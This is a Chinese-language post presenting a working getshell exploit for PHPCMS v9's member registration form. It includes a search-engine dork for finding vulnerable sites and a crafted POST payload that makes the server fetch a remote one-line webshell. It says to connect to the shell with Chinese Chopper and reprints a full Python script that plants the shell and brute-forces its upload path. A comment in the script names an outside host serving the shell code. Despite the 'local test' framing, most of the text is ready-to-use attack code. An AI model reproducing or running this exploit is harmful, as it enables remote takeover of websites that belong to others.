phpcms v9本地验证getshell+代码验证
phpcms v9本地验证getshell
本地验证成功：
如果通过phpcms查找不到具有这样的网站的话，还可以通过如下的特征字进行查找：
list-2-4.html 扩展延伸成为：inurl:list-*-*.html
以下是通过本地搭建服务器进行测试：
通过注册界面：http://127.0.0.1/phpcmsv9.6.0/index.php ?m=member &c=index &a=register &siteid=1
输入post内容：
[email protected]&info%5Bcontent%5D=%3Cimg %20src=http://localhost/cache.txt?.php#.jpg>&dosubmit=1&protocol=
其中src=http://localhost/cache.txt是本地上传的一个一句话的地址。直接执行即可回显地址。菜刀链接即可成功查看：
代码从网上找到，可以实现。
代码验证
# -*- coding:utf-8 -*-
'''
----------------------
Author : Akkuman
Blog : hacktech.cn
----------------------
'''
import requests
import sys
from datetime import datetime
def getTime():
year = str(datetime.now().year)
month = "%02d" % datetime.now().month
day = "%02d" % datetime.now().day
hour = datetime.now().hour
hour = hour - 12 if hour > 12 else hour
hour = "%02d" % hour
minute = "%02d" % datetime.now().minute
second = "%02d" % datetime.now().second
microsecond = "%06d" % datetime.now().microsecond
microsecond = microsecond[:3]
nowTime = year + month + day + hour + minute + second + microsecond
return int(nowTime), year + "/" + month + day + "/"
def main():
if len(sys.argv) < 2:
print("[*]Usage : Python 1.py [url]http://xxx.com[/url]")
sys.exit()
host = sys.argv[1]
url = host + "/index.php?m=member&c=index&a=register&siteid=1"
data = {
"siteid": "1",
"modelid": "1",
"username": "dsakkfaffdssdudi",
"password": "123456",
"email": "[email protected]",
# 如果想使用回调的可以使用[url]http://file.codecat.one/oneword.txt[/url]，一句话地址为.php后面加上e=YXNzZXJ0
"info[content]": "
"dosubmit": "1",
"protocol": "",
}
try:
startTime, _ = getTime()
htmlContent = requests.post(url, data=data)
finishTime, dateUrl = getTime()
if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
print("[*]Shell : %s" % successUrl)
else:
print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second)，or re-run the program after modifying value of username and email.\n")
successUrl = ""
for t in range(startTime, finishTime):
checkUrlHtml = requests.get(
host + "/uploadfile/" + dateUrl + str(t) + ".php")
if checkUrlHtml.status_code == 200:
successUrl = host + "/uploadfile/" + \
dateUrl + str(t) + ".php"
print("[*]Shell : %s" % successUrl)
break
if successUrl == "":
print(
"[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
except:
print("Request Error")
if __name__ == '__main__':
main()
